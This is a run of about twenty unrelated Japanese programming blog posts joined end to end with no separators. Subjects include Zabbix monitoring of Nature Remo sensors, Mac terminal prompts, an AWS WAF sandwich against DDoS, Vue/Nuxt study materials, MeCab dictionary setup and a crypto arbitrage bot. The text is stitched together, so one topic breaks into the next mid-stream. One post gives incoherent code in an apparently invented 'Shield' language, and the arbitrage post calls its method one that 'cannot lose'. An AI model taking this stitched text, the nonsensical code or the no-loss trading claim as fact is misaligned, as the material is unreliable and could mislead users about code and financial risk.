このやり方を応用すれば、他のIoT機器でも値を取得してすべてZabbixで管理できる！はず、、、

**Zabbix HTTP Agentを利用するため、Zabbix4.0以上が必要です**

作成したテンプレートは、下記Githubにおいています。
https://github.com/miyuk/zabbix-template-natureremo

Nature RemoやAPI情報などは参考URLを参照

# 設定の流れ
**①アクセストークンの取得**
[こちら](https://qiita.com/sohsatoh/items/b710ab3fa05e77ab2b0a)参考にしていただき、Nature Remoのアクセストークンを取得する。

**②取得したいデバイスIDを取得**
上記のアクセストークンを使って下記curlを実行。
レスポンスから取得したNature RemoのデバイスIDをメモっておく

```bash
　curl -X GET "https://api.nature.global/1/devices" -H "Accept: application/json" -H "Authorization: Bearer <①で取得したアクセストークン>"
```

```json:APIレスポンス
[
   {
      "name":"Remo A",
      "id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxxx←ここで表示されるIDをメモ", 
      ...
      "newest_events":{
         "hu":{
            "val":42,
            "created_at":"2020-02-10T16:00:55Z"
         },
         "il":{
            "val":137.39,
            "created_at":"2020-02-10T15:18:13Z"
         },
         "mo":{
            "val":1,
            "created_at":"2020-02-10T16:14:20Z"
         },
         "te":{
            "val":21.6,
            "created_at":"2020-02-10T15:55:48Z"
         }
      }
   },
   ...
]
```

**③Zabbixにテンプレートをインポートしてホストを登録**
https://github.com/miyuk/zabbix-template-natureremo
から`zabbix-template-natureremo.xml`を持ってきてZabixにテンプレートインポート

その後、テンプレートを適用した適当なホストを登録

マクロは下記の通り指定。

|Key|Value|
|---|----|
|{$ACCESS_TOKEN}|<①より取得したアクセストークン>|
|{$TARGET_DEVICE}|<取得したいデバイスID(取得したAPIの各機器idを記載)>|

# 結果
5分毎にAPIからセンサーデータを取得してメトリックだけ保存してくれる。

仕組みとしては、HTTP APIアイテムを5分ごとに取得して依存アイテムとして取得したJSONデータをごにょごにょして気温や湿度を取っている

グラフにするとこんな感じ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/335255/b435ff1a-8c04-b18c-2407-2ca931a0d878.png)

5分ごとじゃなく1分ごとにすることもできるが、私の環境ではNature Remo E含めてアカウントに3台分紐付けているためか5分ごとのAPI制限にかかってしまうため余裕をもたせている。
今後、Nature Remo Eの情報もZabbixで取得したいがそもそも現状Nature Remo EのAPIは提供されていない。

あと、Nature Remo APIでは1APIでアカウントに紐づくすべてのデバイス情報を取得できるので、`ディスカバリルール`を使って今後デバイスが増えていっても対応できるようしないといけない。

# 最後に
Zabbixで取得したはいいが、保存したデータが他のvCenter情報やルータSNMPデータの中と比較してやや浮いてしまっている。
今後、センサー情報をDynamoDBなどに持っていけたらIoTハブとして可能性が広がりそう

ZabbixからPub/Sub使えるようにしてみたい

# 参考URL
- [Nature Remo API(公式)](https://developer.nature.global/)
- [Nature Remoの公式APIの使い方](https://qiita.com/sohsatoh/items/b710ab3fa05e77ab2b0a)
- [Nature RemoのセンサーデータをGoogle Spread Sheetにまとめてみる](https://qiita.com/tobi50/items/6bbf6f53fe975f26f445)
Macターミナルで $ の前のコンピュータ名、ユーザ名を非表示にする

Macターミナルで $ の前のコンピュータ名、ユーザ名を非表示にして、ディレクトリ名と＄マークのみに変更する。

```
# .bash_profile を開く
vi ~/.bash_profile 

# .bash_profile に追記
if [ -f ~/.bashrc ]; then
  . ~/.bashrc
fi

# .bashrc　を開く
vi ~/.bashrc 

# .bashrc　に追記。今いるディレクトリ名と＄マークのみが表示されるように設定。
PS1="\W $ "
```

以上で、ターミナルを再起動すると、変更が反映される。

### 参考

https://tech.qookie.jp/posts/terminal-turn-off-prompt/
https://www.webdesignleaves.com/pr/plugins/mac_terminal_basics_01.html
DDoS攻撃に対処する WAF サンドイッチ構成とは

## はじめに
- Solution Architect の勉強で出てきた問題に WAF サンドイッチのアーキテクチャができてたのでその理解のため
- 参考にした資料 ([AWS初心者向けWebinar AWS上でのDDoS対策](https://www.slideshare.net/AmazonWebServicesJapan/awswebinar-awsddos)) が 2015 年のものなので、現在ではベストプラクティスではないかもしれないので注意
   - ELB を利用している点や、AWS WAF が ALB に適用できるようになっている点などから

## DDoS とは
- Distributed Denial of Service Attack のこと
- **ウェブサイトやアプリケーションをエンドユーザーが利用できないようにすることを目的とした攻撃**
   - 攻撃者は、これを行うために、ネットワークやその他のリソースを消費するさまざまな手法を用いて、正規のエンドユーザーのアクセスを中断させる
   - DoS とは異なり、攻撃者は複数のシステムを使用して標的に対する攻撃を指揮する

## WAF (ウェブアプリケーションファイアウォール) とは
- ウェブトラフィックにルールセットを適用するフィルター
   - 通常、これらのルールはクロスサイトスクリプト (XSS) や SQL インジェクション(SQLi) といった弱点に対応
   - **HTTP GET または POST フラッドを軽減して、DDoS に対する弾力性を構築するためにも役立つ**
      - HTTP レート制限で、特定の期間にわたりエンドユーザーごとにサポートされる HTTP リクエストのしきい値を決めることが可能
         - そのしきい値を超えると、WAF は新しいリクエストをブロックまたはバッファリングし、他のエンドユーザーがアプリケーションにアクセスできるようにできる
      - HTTP リクエストを検査し、通常のパターンに準拠しないものを識別
         - 文字制限を超えているログインを防止したり、全件検索を防止するなど
- AWS WAF は、CloudFront、Application Load Balancer (ALB)、API Gateway にデプロイできる
- AWS WAF とは別に AWS Market Place にて EC2 にデプロイするための WAF アプリケーションが販売されている

## WAF サンドイッチを利用する目的
- アプリケーションレイヤーで発生する DDoS 攻撃を防ぐため
   - インフラストラクチャ攻撃と比較して、トラフィックのボリュームが低いウェブアプリケーションがよく標的になる
   - 攻撃を軽減するには、インフラストラクチャの一部に WAF を含める
- **ここで利用する WAF は AWS WAF ではなく、EC2 にデプロイした WAF アプリケーション**


## WAF サンドイッチのアーキテクチャ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/184983/135d8fff-82de-b61f-f94d-52f8fc888eea.png)

- **２つの ELB の間に WAF アプリケーションを乗せた EC2 インスタンスを Auto Scaling グループで実行**
   - すべての HTTP リクエストを検査するため、トラフィックスパイクに対応する必要があり、Auto Scaling グループが必要
- トラフィックが検査およびフィルタリングされると、WAF EC2 インスタンスは内部のバックエンドロードバランサーにトラフィックを転送し、このロードバランサーがトラフィックをアプリケーションの EC2 インスタンス間に分散

## 参考
- [AWS初心者向けWebinar AWS上でのDDoS対策](https://www.slideshare.net/AmazonWebServicesJapan/awswebinar-awsddos)
- [DDoS に対する AWS のベストプラクティス](https://media.amazonwebservices.com/jp/DDoS%20White%20Paper_Revised.pdf)
- [AWS WAF のよくある質問](https://aws.amazon.com/jp/waf/faqs/)
- [WAF Sandwich](https://www.cloudaxis.com/2016/11/21/waf-sandwich/)
Ionic4 ion-radioを横向きにする方法

#はじめに

選択肢を実装するときに便利な`ion-radio`

<img width="359" alt="スクリーンショット 2020-02-11 14.13.20.jpg" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/167220/ba0be23c-813b-7812-8f57-a3a8e74f818d.jpeg">

これを横向きにしたい時、ありますよね？

私が挑戦した時、タグの順番が正しく無かったようで、えらい時間を食わされた。。。

なので、ここに記録する！

#ion-radioを横向きに！

コピペでOK!

```html
  <ion-list>
          <ion-radio-group>
            <ion-list-header>
              <ion-label>しましたか？</ion-label>
            </ion-list-header>
          <ion-row>
            <ion-col>
              <ion-item>
                <ion-label>した</ion-label>
                <ion-radio value="yes"></ion-radio>
              </ion-item>
            </ion-col>
            <ion-col>
              <ion-item>
                <ion-label>していない</ion-label>
                <ion-radio value="no"></ion-radio>
              </ion-item>
            </ion-col>
          </ion-row>
        </ion-radio-group>
        </ion-list>
```

結果、こうなる
<img width="242" alt="スクリーンショット 2020-02-11 14.09.08.jpg" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/167220/fbcb31cb-c343-a037-fb9c-f6e13e466efd.jpeg">

`<ion-row>`のなかに`<ion-radio-group>`があったりするだけで、途端にレイアウトが崩れたので、ご注意を。
シールド言語上でのusingとimportの違い

#シールド言語上でのusingとimportの違い
using->既にリンクされているもの。
import->リンクされていないもの。

```ex.shie
using Sys
using Os
using Collection
```
<-標準モジュールはusing

```ex.shie
import WindowsAPI
import ABC
```
<-非標準モジュール(サードパーティー製や自作モジュール)はimport

```ex.udml
※Opening HTTP->MARK-UP->UDML
Call Protocol->Start
[module1](WindowsAPI.so)
[module2](MyShield\ABC.a)
[module3](MyShield\MyLib.so)
define Entry EntryPoint eq ex->Start-Up->Main @exだとグローバル空間から開始。_だと任意の一文字に当たるため無効。_を書きたいときは-と書く必要がある。
define Link Linking eq (module1,module2,module3)
out of !My-Shield-File.jcp where #Entry #Link open build 'ex.shie'
T set call scan 出来上がりました。もう一度コンパイルしますか?'Yes'-or-'No'
T eq yes get File->Open Me get Nil
ecro 終了です。ありがとうございました。
sys set Call Protocol->Quit 
※Closeing
Call sys->End
```

```ex.shie
using WindowsAPI
using ABC
using MyLib
using Genelic
using 
from Sys using static Console
cdef square(x):
    #コンパイル時定関数(メンバーにすることも可能)
    return x*x 

cpdef Fun():
    #インライン関数get,setも実は中身はpub cpdef Get_XXX(value T),pub cpdef Set_XXX():
    return float(Input("数字を入力")) 

def Max<cdef T>(A T,B T) T Where T(self) and T(is not Null):
    #cdefはコンパイル時ジェネリクスでも使う。
    return if(A > B) A else B

def Min<T>(A T,B T) T Where T(self) and T(is not Null):
    #実行時ジェネリクスにdefは不要。
    return if(A < B) A else B

static class Start_Up(Unit):
    def Main():
        Output(square(6))
        Output("数値は"+str(Fun())+"です")
        #処理
```
<-この場合ex.udmlがないとコンパイル不可。
Vue.js初心者がNuxt.jsでポートフォリオサイトを作成するまでにやった勉強

人生初のQiita投稿です。

#この記事を書こうと思った背景
昨年Nuxtとfirebaseで下記のポートフォリオサイトを作成しました。
https://hideokaizuka.com/

このポートフォリオサイトを作成する時にVue.jsやらNuxt.jsの勉強するのですが、色々と悩みました。

「何から始めればいいかわからない。」
「まだVue.js勉強するよりもJavaScriptの基礎固めた方がいいのではないか？」
「どうやらVuexというのもあるらしいが・・・」
「どんな教材が今の自分に合っているのか？」

などなど。

そこで、私がVue.jsとNuxt.jsを勉強する上で使った教材の感想やどういう流れで勉強していくのが一番効率的か？と言うのをまとめていきます。これからVue.jsやらNuxt.jsを勉強しようかなという方の参考になれば幸いです。



#対象読者
Vue,Nuxtを勉強しようと思っている方

#結論
![Vue,Nuxt勉強.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307699/8a0aee1d-84ba-251c-b55e-3c921fe2a787.png)
どんな流れで勉強していくのが最適かというと、上記の図が結論です。

自分はES6をわからないまま、Vue.jsを勉強しVueを完全にわかった気になり、
Vuexを知らないままNuxt.jsを勉強するという感じで進めてしまいました。

そのため、Nuxtを勉強する時に使った本に書いてあることが全然わからなかったのです。書いてある通りに写経しても意味がよくわかっておらず、時間を無駄にしてしまったかなぁと思っております。

当たり前ですが、自分に合ったレベル感から始めることは大切かなぁと思います。

#JavaScriptの勉強で使った教材

JavaScript自体は仕事で使っていたので、Vue.jsやNuxt.jsのための勉強に使ったわけではありませんが、最初に勉強した時には下記の本を使いました。

[改訂新版JavaScript本格入門 ~モダンスタイルによる基礎から現場での応用まで](https://www.amazon.co.jp/dp/477418411X/ref=cm_sw_r_tw_dp_U_x_xhFqEbJCB7QGF)

JavaScriptの基礎的なところはこの本でも問題ないかなと思います。
ただプログラミング初心者だと厳しいかもしれないので、他言語学んだ方がJavaScriptを学ぶのにオススメです。

#ES6の勉強で使って教材
ES6とは？
簡単にいうとJavaScriptの新しいバージョンといったところです。
色々新しい書き方があります。

Vue、ReactやっているとES6での記法がよく出てくるので、サラッと何か勉強しておいた方がいいかと思います。上記の本でも解説はしてますが、私は別途勉強しました。

私は下記の講座をやりました。
講座が長すぎず、コンパクトにまとまっているところがメリットかなと思います。

[ECMAScript(ES6)基礎講座](https://www.udemy.com/share/101AyeBEATdV5SQXQ=/)

文法や書き方が中心の講座というのは長いとモチベーション維持が難しいので、
長すぎないということも意識して選びました。


#Vueの勉強で使った教材
次にVue.jsでの勉強に使った講座を2つ紹介します。

1.[Vue JS 入門決定版！jQuery を使わない Web 開発 - 導入からアプリケーション開発まで体系的に動画で学ぶ](https://www.udemy.com/share/101YM0BEATdV5SQXQ=/)

こちらの講座は本当に入門者向けです。かなり入門者向けを意識されているようなので、挫折率も低いかなぁと思っています。
ただ、Vuexについては解説がほとんどないので他にも勉強する必要があります。

2.[超Vue JS 2 入門 完全パック - もう他の教材は買わなくてOK！ (Vue Router, Vuex含む)](https://www.udemy.com/share/101rYoBEATdV5SQXQ=/)

こちらの講座はVuexまで含まれています。タイトルの通りVueの網羅度はかなり高いです。
ただ少し早口で聞き取りにくいところが少し気になります。少し長いので、心が折れかかるとともあります。

#Nuxtの勉強で使った教材
次にNuxtの勉強に使った教材を紹介します。

1.[Nuxt JS入門決定版！Vue.jsのフレームワークNuxt JSの基本からFirebaseと連携したSPAの開発まで](https://www.udemy.com/share/101A4WBEATdV5SQXQ=/)

Vueの講座で紹介した「Vue JS 入門決定版！jQuery を使わない Web 開発 - 導入からアプリケーション開発まで体系的に動画で学ぶ」と同じ講師の方なのですが、こちらも初心者向けを意識されている感じです。内容的には少しあっさりし過ぎかなぁという印象です。

ただ、現時点ではUdemyのNuxtの日本語の講座がこれしかない・・・・


2.[Nuxt.jsビギナーズガイド―Vue.js ベースのフレームワークによるシングルページアプリケーション開発](https://www.amazon.co.jp/dp/4863542569/ref=cm_sw_r_tw_dp_U_x_aUFqEbC2GK960)

この本はVueもVuexもある程度理解した方を対象とされている印象です。Vueの教材の1で紹介した講座をやってすぐにこの本に入った私はあまり理解できなかったですし、その状態でこの本を参考に自分のポートフォリオの作成をしようと試みるも全然ダメでしたw
ただ、Vue,Vuexの理解が進んでから読み直してみると理解が進みました。
Nuxtの内容はこの本がよくまとまっていると思います。


#まとめ

自分がVue,Nuxtのために勉強した中であれば、

1.[ECMAScript(ES6)基礎講座](https://www.udemy.com/share/101AyeBEATdV5SQXQ=/)

2.[超Vue JS 2 入門 完全パック - もう他の教材は買わなくてOK！ (Vue Router, Vuex含む)](https://www.udemy.com/share/101rYoBEATdV5SQXQ=/)

3.[Nuxt.jsビギナーズガイド―Vue.js ベースのフレームワークによるシングルページアプリケーション開発](https://www.amazon.co.jp/dp/4863542569/ref=cm_sw_r_tw_dp_U_x_aUFqEbC2GK960)

の順番が一番効率よかったかなぁと振り返って思います。

他にも有名な猫本とかもあるので、ここで紹介してなくても自分に合った勉強法で勉強されるといいかと思います。
ウリゾーンの補題とデデキントと距離化定理

コンパクトハウスドルフ空間が正規であることを確認し，選択公理とデデキント切断を使ってウリゾーンの補題を証明．ついでに距離化定理も．
<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">コンパクトハウスドルフ空間が正規であることを確認し，選択公理とデデキント切断を使ってウリゾーンの補題を証明．ついでに距離化定理も．<a href="https://twitter.com/hashtag/%E6%95%B0%E5%AD%A6?src=hash&amp;ref_src=twsrc%5Etfw">#数学</a> <a href="https://twitter.com/hashtag/%E4%BD%8D%E7%9B%B8?src=hash&amp;ref_src=twsrc%5Etfw">#位相</a><a href="https://t.co/nZz30PwcPr">https://t.co/nZz30PwcPr</a></p>&mdash; Yamagata (@YamagataTwit) <a href="https://twitter.com/YamagataTwit/status/1227030971213471744?ref_src=twsrc%5Etfw">February 11, 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
Leetcode: Reverse Linked List

```ruby

require 'minitest/autorun'
require 'pry'
class ReverseLinkedList < Minitest::Test

  def test_run
    # Input: 1->2->3->4->5->NULL
    # Output: 5->4->3->2->1->NULL
    head = ListNode.new(1)
    head.next = ListNode.new(2)
    head.next.next = ListNode.new(3)
    head.next.next.next = ListNode.new(4)
    head.next.next.next.next = ListNode.new(5)
    new_head = reverse_list(head)
    assert_equal(5, new_head.val)
    assert_equal(4, new_head.next.val)
    assert_equal(3, new_head.next.next.val)
    assert_equal(2, new_head.next.next.next.val)
    assert_equal(1, new_head.next.next.next.next.val)
    assert_equal(nil, new_head.next.next.next.next.next)
  end

  def reverse_list(head)
    return head if head.nil? || head.next.nil?

    p = head
    q = p.next
    q = reverse_list(q)

    # qはp.nextなので、p.next.next = p は q.next = pと同じ。なので、この行でq.nextが決まる。
    p.next.next = p
    p.next = nil
    q
  end

end

class ListNode
  attr_accessor :val, :next

  def initialize(val)
    @val = val
    @next = nil
  end

end
Vine Linux 6.5で内蔵無線LANアダプタを使えるようにする


# はじめに
Windows7のサポート終了に伴いノートPC lenovo G550にVine Linux 6.5をインストールしましたが無線LANに繋がりません。あまり情報がなかったので解決策をアップしておきます。

# 方法1
システム>設定>インターネットとネットワーク>ネットワーク接続で無線を選び追加ボタンを押します。無線タブでSSID、無線セキュリティタブで暗号化方式（当方ではWPA & WPA2 Personal）を選択し、パスワードを入力します。最後に保存ボタンを押せば無線設定は完了です。しかし繋がりません。内蔵無線LANアダプタを認識していない様子です。

# 方法2
ターミナルで
`$ lspci`
と打ち込むと
`Network controller: Broadcom Corporation BCM4312 802.11b/g LP-PHY`
と出てきました。デバイスは認識されているようです。
となるとBCM4312のドライバをインストールする必要がありそうです。

# 方法3
仕方がないので一旦有線でインターネットに繋ぎます。
synapticパッケージマネージャを起動し、broadcomという名称で検索してみます。それらしきドライバが見つかりました。
`self-build-broadcom-wl`
著作権などの関係なのか自分でビルドしてインストールという形になっているようです。
インストールしたところ無事に無線LANに繋がりました。
"brew doctor"で"A newer Command Line Tools release is available."と出るがアップデートが無い場合

#症状
`brew doctor`を実行すると、コマンドラインツールズが最新化されているにも関わらず、最新になっていない旨のメッセージが出る。
ソフトウェアアップデートには何も出てこない。

```
$ brew doctor
Please note that these warnings are just used to help the Homebrew maintainers
with debugging if you file an issue. If everything you use Homebrew for is
working fine: please don't worry or file an issue; just ignore this. Thanks!

Warning: A newer Command Line Tools release is available.
Update them from Software Update in System Preferences or
https://developer.apple.com/download/more/.
```

#対処
削除してから再インストール

```bash:
$ sudo rm -rf /Library/Developer/CommandLineTools
$ xcode-select --install
```

#参考
[$ brew doctor «A newer Command Line Tools release is available» but Software Update cannot find it &#8211; Swiss Mac User ](https://swissmacuser.ch/brew-doctor-a-newer-command-line-tools-release-is-available-but-software-update-cannot-find-it/#.XkHrURfgrgs)
pandasのprintで省略を防ぐ

# pandasのprintで省略されて嫌な時

## rowをちゃんと見たい時


例えば、irisのデータは150rowsあるので、
そんな時は

```
pd.set_option('display.max_rows', 150)
```
を入れてあげる。


```
import pandas as pd
from sklearn import datasets

pd.set_option('display.max_rows', 150)
iris = datasets.load_iris()
df1 = pd.DataFrame(iris['data'])
print(df1)
```


## columnをちゃんと見たい時

例えば、olivetti_facesのデータは4096columnsあるので、
そんな時は

```
pd.set_option('display.max_columns', 4096)
```

を入れてあげる。


```
import pandas as pd
from sklearn import datasets

pd.set_option('display.max_columns', 4096)
olivetti_faces = datasets.fetch_olivetti_faces()
df2 = pd.DataFrame(olivetti_faces['data']).head()

print(df2)
```
Python によるアービットラージ仮想通貨Bot作成　その１ 

#アービットラージとは

相場の差分を取る取引手法
価値が確認された時のみ取引を行う

特徴；将来の予測ではなく、現時点の相場間の差分を取るため”負けない”手法を作成できる。

特に差分が発生しやすい仮想通貨に関してその可能性について検証していく。

#基本情報の確認

仮想通貨の流通量：Volume
取引の際の約定可能性、変動性等の確認のために各仮想通貨の流通量を確認する
https://coinmarketcap.com/ja/



#取引所の選択
実際の取引所を決めるための取引量を確認する
先行して変動する取引所と、遅れて変動する取引所を抽出するのも一つの観点となる
ちなみに日本人の利用を制限している取引書があるので注意
（2020/2/11時点で、Binanceは日本人の利用を停止するとのアナウンスがあった）
https://coinmarketcap.com/ja/rankings/exchanges/

bkex.com : Trading fee: maker 0.15%; taker 0.2%.
bilaxy.com ; Trading fee:0.1% transaction fee for all trading pairs
fatbtc.com ; Taker 0.2% (Use FAT to pay the fees will be 0.05%)Maker 0.2% (Use FAT to pay the fees will be 0.05%)
bitforex.com : Maker
• Maker fees are paid when you add liquidity to our order book by placing a limit order below the ticker price for buy, and above the ticker price for sell.
Taker
• Taker fees are paid when you remove liquidity from our order book by placing any order that is executed against an order on the order book.
Spot
• Maker fees: 0.1%
• Taker fees: 0.1%
Perpetual
• Maker fees: 0.04%
• Taker fees: 0.06%
biki.com
Token-to-token Trading: 0.15% of the trade amount will be charged
### coinsbit.com
Fee for trading:0.2% trading fee
### hitbit.com
| 0.07% | 0.07% |

### poloniex.com
0.09%


### bitflyer.com
0.15/0.2  
### bitbank.cc
Maker:-0.02%      Taker:0.12%
BTC/JPY => BCC/BTC => BCC/JPY


### coincheck.com
Taker/ Maker 0.00/0.00%
※ 0.00% って？？　スプレッドが大きい？？　要注意

BUY:1095017BTC / JPY
SELL:1052161BTC / JPY
4.07%






※※本内容はアービットラージの原理とPythonプログラムでの実施方法を学ぶもので、それらによる取引の結果を保証、責任を負うものではありません。
企業内環境でのpythonのpipのためのproxy設定がうまくいかない(例えば、Python 3.7.5ではOKなのに、3.7.6でNG)

#何についてか
表題の通り。

#どういう人向けの記事か

企業内からだから、pipでproxy設定がいると認識して、
proxyを設定したのに、意外や意外、エラーに出会った人。

具体的には、以下のようなエラー。

```
ip._vendor.urllib3.exceptions.ProxySchemeUnknown: Not supported proxy scheme
```

```
raise ProxySchemeUnknown
```

以下、無理やり自宅で再現させたエラーなので、
厳密ではないかも。。。

```
    conn = self.get_connection(request.url, proxies)
  File "C:\Users\XYZZZ\AppData\Local\Programs\Python\Python37\lib\site-packages\pip\_vendor\requests\adapters.py", line 309, in get_connection
    proxy_manager = self.proxy_manager_for(proxy)
  File "C:\Users\XYZZZ\AppData\Local\Programs\Python\Python37\lib\site-packages\pip\_vendor\requests\adapters.py", line 199, in proxy_manager_for
    **proxy_kwargs)
  File "C:\Users\XYZZZ\AppData\Local\Programs\Python\Python37\lib\site-packages\pip\_vendor\urllib3\poolmanager.py", line 470, in proxy_from_url
    return ProxyManager(proxy_url=url, **kw)
  File "C:\Users\XYZZZ\AppData\Local\Programs\Python\Python37\lib\site-packages\pip\_vendor\urllib3\poolmanager.py", line 420, in __init__
    raise ProxySchemeUnknown(proxy.scheme)
pip._vendor.urllib3.exceptions.ProxySchemeUnknown: Not supported proxy scheme httpyy
```



#結論
pythonのマイナーなバージョンの差によって、proxy設定の方法の違いでエラーになることがある。
具体的には、Python 3.7.6でエラーになる。

**http:**

をつけると解決する。(Python 3.7.5にひとつだけ戻すという手もある。）
**ちょっと、ひどいなーと感じる。**

以下のgithubに情報がある。
[Python 3.7.6: urllib3.exceptions.ProxySchemeUnknown #5297](https://github.com/psf/requests/issues/5297)
vbsの作法 その49

#概要

vbsの作法調べてみた。
hex2binやってみた。

#サンプルコード


```
Function hex2bin(HexText)
    With CreateObject("Microsoft.XMLDOM").createElement("tmp")
        .DataType = "bin.hex"
        .Text = HexText
        hex2bin = .NodeTypedValue
    End With
End Function

Dim Hex
Dim Text
Hex = "3100320033003400"
msgbox Hex
Text = hex2bin(Hex)
msgbox CStr(Text)


Hex = "b530f330d730eb30"
msgbox Hex
Text = hex2bin(Hex)
msgbox CStr(Text)
```


以上。
SwiftUIのTextのfontとfontWeight一覧

# 概要
文字の大きさや太さを一覧で視覚的に残しておきたかったので書きました。
当たり前っちゃ当たり前の内容ですが、パッと見比べる時に有用であればいいなと思います。
iOS14から一部のフォントが追加となっています。

# font
文字の大きさを指定します。
ドキュメントなど参照しましたが、デフォルト値を見つけることができなかったのですが、
見た感じは`.body`かと思います。

```swift
Text("largeTitle").font(.largeTitle)   // 大きなタイトル
Text("title").font(.title)             // タイトル
Text("headline").font(.headline)       // 見出し
Text("subheadline").font(.subheadline) // 小見出し
Text("body").font(.body)               // 本文
Text("callout").font(.callout)         // 吹き出し
Text("caption").font(.caption)         // キャプション
Text("footnote").font(.footnote)       // 注釈
```
<img width="421" alt="スクリーンショット 2021-01-16 13.03.27.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/124577/7b79047c-a254-de81-c756-08361077cf3f.png">

# fontWeight
文字の太さを指定します。
こちらもデフォルトは見つからなかったですが、見た感じは``。

```swift
Text("black").fontWeight(.black)
Text("bold").fontWeight(.bold)
Text("heavy").fontWeight(.heavy)
Text("light").fontWeight(.light)
Text("medium").fontWeight(.medium)
Text("regular").fontWeight(.regular)
Text("semibold").fontWeight(.semibold)
Text("thin").fontWeight(.thin)
Text("ultraLight").fontWeight(.ultraLight)
```

<img width="421" alt="スクリーンショット 2020-02-11 8.01.03.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/124577/cb7dd095-59ba-0ae3-c894-b6cc40f55c4e.png">

# 組み合わせ
組み合わせるとこのような感じに。

```swift
Text("largeTitle & black").font(.largeTitle).fontWeight(.black)
Text("footnote & ultraLight").font(.footnote).fontWeight(.ultraLight)
```

<img width="418" alt="スクリーンショット 2020-02-11 8.06.34.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/124577/43ebd1bc-2e78-c420-02a6-4b7e6d7cafd0.png">
WindowsでNEologd辞書を比較的簡単に入れる方法-システム辞書編

#はじめに
MeCabの形態素解析用の辞書のNEologd辞書を導入にWSL(Windows Subsystem for Linux)+Ubuntuを使っていたのですが、git for Windowsと7-zipで比較的簡単に導入できました。

先の記事↓でユーザー辞書について記載したので今回はシステム辞書編です。
https://qiita.com/zincjp/items/c61c441426b9482b5a48

#環境
Windows10 64bit 言語：日本語
MeCab 0.996-32bit
#導入するもの
git for Windows 2.20.1 64-bit
7-Zip 18.06 64-bit 
#導入手順
##MeCabにPATHを通す
MeCabの実行ファイルのある以下のフォルダを環境変数を設定しPATHを通す。
C:\Program Files (x86)\MeCab\bin
##7-zipのインストールと環境変数への設定
###7-zipのインストール
ダウンロードしてきたNEologd辞書はxz形式で圧縮されているので、展開するために7-zipを使います。
以下のサイトより7-zip 64bitをダウンロードしインストール。
https://sevenzip.osdn.jp/
###7-zipにPATHを通す
以下を環境変数に設定
C:\Program Files\7-Zip
##git for Windowsのインストール
以下のサイトを参考にgit for Windows 64bitをインストールする
https://qiita.com/taiponrock/items/632c117220e57d555099
##NEologd辞書のダウンロード
###gitより辞書をダウンロード(cloneを作成)
管理者でコマンドプロンプト立ち上げ以下のコマンドで作業フォルダへ移動

```
cd %homepath%
```

続いて以下のコマンドでNEologd辞書をダウンロード

```
git clone --depth 1 https://github.com/neologd/mecab-ipadic-neologd.git
```
###NEologd辞書ファイルの確認
コマンドプロンプトより以下コマンドでC:\Users\\(ユーザー名)\mecab-ipadic-neologd\seedに移動しファイルを確認。

```
cd mecab-ipadic-neologd\seed
dir
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/317756/06bda732-513b-cf07-d1a1-9459bbacda7d.png)

###NEologd辞書ファイルの展開
これら.csv.xzファイルを以下のコマンドで7-zipで展開。

```
7z X *.xz
```
###.csvファイルのコピー
以下のコマンドでcsvファイルをMecabのdic\ipadicフォルダへコピーする。
ただしmecab-user-dict-seed.（日付）.csvファイルは大きい＆更新が頻繁なので、ユーザー辞書として使いたいので
今回の作業では削除。

```
copy *.csv "c:\Program Files (x86)\MeCab\dic\ipadic"
del "c:\Program Files (x86)\MeCab\dic\ipadic\mecab-user-dict-seed.*"
```
## SHIFT-JIS形式のファイルをUTF-8形式に変換する。
c:\Program Files (x86)\MeCab\dic\ipadic内の.csvファイル全て、unk.defファイルの文字コードを
SHIFT-JIS(改行CR+LF)からをUTF-8(改行LF)にエディタなどで変換する。

自分はEmEditor(https://jp.emeditor.com/) で文字コードを変換しました。

これはneologd辞書のcsvファイルはUTF-8形式、デフォルトで入っているipa辞書のcsvファイルはSHIFT-JIS形式のためで、
異なるコード混在条件下で辞書をコンパイルすると、形態素解析した際に、品詞情報が「？？」と表示される形態素が出てきます。


##辞書ファイルのコンパイル
###SHIFT-JIS辞書の作成
以下コマンドでipadicフォルダでSHIFT-JISのシステム辞書を作成する。

```
cd "c:\Program Files (x86)\MeCab\dic\ipadic"
mecab-dict-index -f utf-8 -t shift-jis
```

###UTF-8辞書の作成
引き続きPythonなどUTF-8のシステムではUTF-8の辞書が必要なので以下コマンドでUTF-8のシステム辞書を作成する。
以下コマンドでipadicフォルダのファイル全てを新しく作成するipadic-UTF8フォルダにコピー。

```
mkdir "c:\Program Files (x86)\MeCab\dic\ipadic-UTF8"
copy * "c:\Program Files (x86)\MeCab\dic\ipadic-UTF8"
```

以下コマンドでc:\Program Files (x86)\MeCab\dic\ipadic-UTF8内のファイルよりUTF-8のシステム辞書を作成する。

```
cd "c:\Program Files (x86)\MeCab\dic\ipadic-UTF8"
mecab-dict-index -f utf-8 -t utf-8
```

##解析のテスト
これでユーザー辞書に入っていなかった
"おいおいおい"等が解析できるようになります。

```:NEologdシステム辞書導入前
おいおいおい
おいおい        副詞,一般,*,*,*,*,おいおい,オイオイ,オイオイ
おい    感動詞,*,*,*,*,*,おい,オイ,オイ
EOS
```

```:NEologdシステム辞書導入後
おいおいおい
おいおいおい    感動詞,*,*,*,*,*,おいおい,オイオイオイ,オイオイオイ
EOS
```


#参考
NEologd辞書のURL

https://github.com/neologd/mecab-ipadic-neologd/blob/master/ChangeLog
Python3をインストールする方法


# Background
[何もない状況から低コストでプログラミングを学ぶ方法を考えてみた。(Mac編)](https://qiita.com/satsukiya/items/1ca3554da096805e4228)
[タダでプログラミングを学ぶ方法を考えてみた。](https://qiita.com/satsukiya/items/97e123a01cbc64d8b173)
の続きです。

これらの初歩的な話は[文部科学省](https://www.mext.go.jp/a_menu/shotou/zyouhou/detail/1375607.htm)が ~~インパール作戦的に~~ プログラミング教育2020 を始めるにあたって、公共以外で家で学習する時に最低限のコストですすめる方法をまとめていて、おそらくこの辺の需要はありそうと思ったためです。

